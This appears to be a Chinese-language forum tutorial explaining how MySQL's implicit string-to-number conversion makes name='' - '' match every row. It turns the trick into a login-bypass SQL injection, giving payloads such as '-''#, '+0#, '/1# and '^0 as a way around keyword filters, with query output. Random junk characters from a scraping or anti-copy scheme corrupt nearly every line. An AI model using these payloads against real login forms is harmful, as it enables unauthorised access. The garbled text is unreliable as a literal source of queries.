我们先来看这样一个场景。% z! u4 Y* g& \0 a }) s8 D
有以下表结构:
6 z2 d9 n8 b4 x4 \# b7 q+ {, W. t# i
mysql> desc admin;! k1 Y7 O6 z6 U
+----------+--------------+------+-----+---------+----------------+
! P3 I2 R: m! b4 h" b! c0 n| Field | Type | Null | Key | Default | Extra |
2 i9 \) I5 y1 J+ c$ q; I( r" s+----------+--------------+------+-----+---------+----------------+
: a1 W9 I5 v1 f3 }2 {1 || id | mediumint(9) | NO | PRI | NULL | auto_increment |6 ~! H) w! U6 {: l! F
| name | char(32) | NO | UNI | NULL | |
. \. V* W- U8 O: i( a+ W, M: j| password | char(32) | NO | UNI | NULL | |' B: F5 m/ |' y; n6 }4 s
+----------+--------------+------+-----+---------+----------------+6 {6 }1 {9 C; a8 ]7 b% m9 b, F6 H' Z
3 rows in set (0.00 sec)3 u) ]3 j" H) T) \# U8 @
执行select * from admin;,成功返回所有记录内容。
; j, A5 f2 ~ \( f& T' U. d( X; c; I3 s0 x) y
0 F- n4 V x! ?8 P+ C: D2 ]
+----+--------+----------------------------------+
- p2 i, D7 m' y6 ^/ \| id | name | password |. P8 X; q( w( ^2 t3 Z5 o, a L
+----+--------+----------------------------------+
. ^- G; E6 y. \1 q| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |% j7 I' n. d" N: Y4 f& F+ S' e5 L
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |+ N! A6 f: S& f! B2 Q M4 ~" h8 D
| 4 | n00b | ff80e8508d39047460921792273533a4 |
. R3 u- s' l1 h& e0 L& L! w+----+--------+----------------------------------+
6 d) B' O3 j. }0 @3 rows in set (0.00 sec)2 C2 s2 ~7 z4 ?7 _7 |# R
执行select * from admin where name=”;,没有匹配到任何记录。
$ f( e K8 E! Z r S% a; @; z1 G" E5 X) y; f
mysql> select * from admin where name = '';
, U7 `+ m; C: z! E1 tEmpty set (0.00 sec)% r9 O6 r9 E& x
那么我们来执行select * from admin where name = ”-”;
O, K/ V0 }4 \5 B
O9 P1 Z$ j& o2 q) a
- f9 M7 v$ \- y; }8 q# J7 B+----+--------+----------------------------------+" c" G& A: w. |
| id | name | password |) k4 ]* V9 T. P! @/ c
+----+--------+----------------------------------+
- ] Y( P! T- q% V2 E, n| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
1 v( x1 i8 {8 T4 F| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |+ P' z: i4 C6 O
| 4 | n00b | ff80e8508d39047460921792273533a4 |
* C9 G$ U. o5 ?) `2 s+----+--------+----------------------------------+6 m, b1 ^' j1 k9 _8 W
3 rows in set, 3 warnings (0.00 sec)
4 {/ E+ ` g3 G: h可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
5 d' w% U- ` C q. `% q$ p( L: y/ k I
mysql> show warnings;
% V+ i1 D; V! n' O" o+---------+------+------------------------------------------0 @- ~! q4 j& S: _
| Level | Code | Message/ a) c2 ?& P% J( @+ L# l3 X* O0 }
+---------+------+------------------------------------------
5 X3 u; `9 [, ?( Y| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin; q v( A# F7 b' V5 }: Z
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
. ? \: E0 C, i, D3 q5 w& d* V9 q| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b2 a$ M5 k: h! C2 f8 b- \# f) @
+---------+------+------------------------------------------ T. a; P; ^: ~9 m9 B" x. A
3 rows in set (0.00 sec)$ _: r& N, _5 ~7 A( |5 o
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 * f: j# f1 j5 p7 j6 W; O6 L
* K; |* ~1 L6 cmysql> select ''-'';
* n' k% l# ?/ l+ F& G0 W+-------+
1 {6 \6 r7 j4 t5 Y. V- i| ''-'' |
/ Q4 O9 i4 A$ `+-------+
- s% D( L5 G: {6 A* K7 S4 D. h7 o| 0 |; q6 k V& o5 a
+-------+3 E. }9 x' R c+ A, w
1 row in set (0.00 sec)
# j5 Y$ d- ^& o9 n" \/ O' e! M返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
# z R1 a. V# Y6 x7 `/ m1 M5 { z
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
8 v$ s) s1 Y" t) c' f8 W: \+-----------------------------------------------------+4 _0 N7 K" j+ S
| CAST((select name from admin limit 1,1) as DECIMAL) |& }& r" W5 W9 J3 V- B9 Z# f+ q
+-----------------------------------------------------+
" l3 n* l5 ~1 A4 q/ B0 V| 0 |3 X' ^/ p- v- Q2 t0 ?* L a. D8 Y! @& z
+-----------------------------------------------------+
) U1 b2 \* i; P" J7 g1 row in set, 1 warning (0.00 sec)' N! C* V' Y t% S6 O
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 . `! {( _) [" `0 Z5 Z
; ^ z- K) w! ^% p, x% }9 B0 n
SQL注入场景: http://www.sqlzoo.net/hack/ - r/ @* R# X+ L: t# E
0 h! l8 e5 W+ R( \% }7 o/ k1 [
/ N# T: b/ K3 R( ^7 m, X7 q
1 I7 ?6 v$ r: I* V8 V/ ^7 }
( y2 h" I1 ?% u! T6 Y0 s$ m如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 # v2 J4 J3 ]0 M# S, V
7 e4 p0 N+ |( f* B3 X3 }
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ; q& u) c W2 W+ u
# {# b/ Y7 k. I1 |$ R7 ?) a
$ i/ H, @- c$ u( \7 l; T/ Z0 ~
* R( y, ~$ U6 R7 f# X6 G: V" y
7 O6 O. y5 l/ l$ b0 g) X& q仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 % B1 [* o' N2 p' t
6 m6 H9 [6 v; j( `+ G3 f1 B3 X
i7 u2 Y1 I0 ^2 ]+ l. b
/ |( [& I3 {4 Y/ m3 d, c7 ]
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可% ~4 e, o5 }7 F$ `3 {' ^! S v
T. z R4 U: }. m0 `
3 D o, f4 d7 `$ H! kmysql> select ''/1;8 x! A5 ]. B$ J8 s3 t
+------+
: ~8 |) Y& {1 Q3 ?0 a. \| ''/1 |: G# f2 h, M2 K# g$ Z% ^# s; L
+------+
9 o( K7 c+ v) ~: L, u| 0 |
, w& O- A8 i" D/ A3 E, p; ~, b+------+/ c8 O5 y6 L. k7 l
1 row in set (0.00 sec); [/ D- A$ l' |! o$ o0 n
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 * x( J% E8 E) I, {5 J0 o9 [
" Q/ q( z. C- E: _5 p利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。6 d+ @; K: \" }* U( S
|
|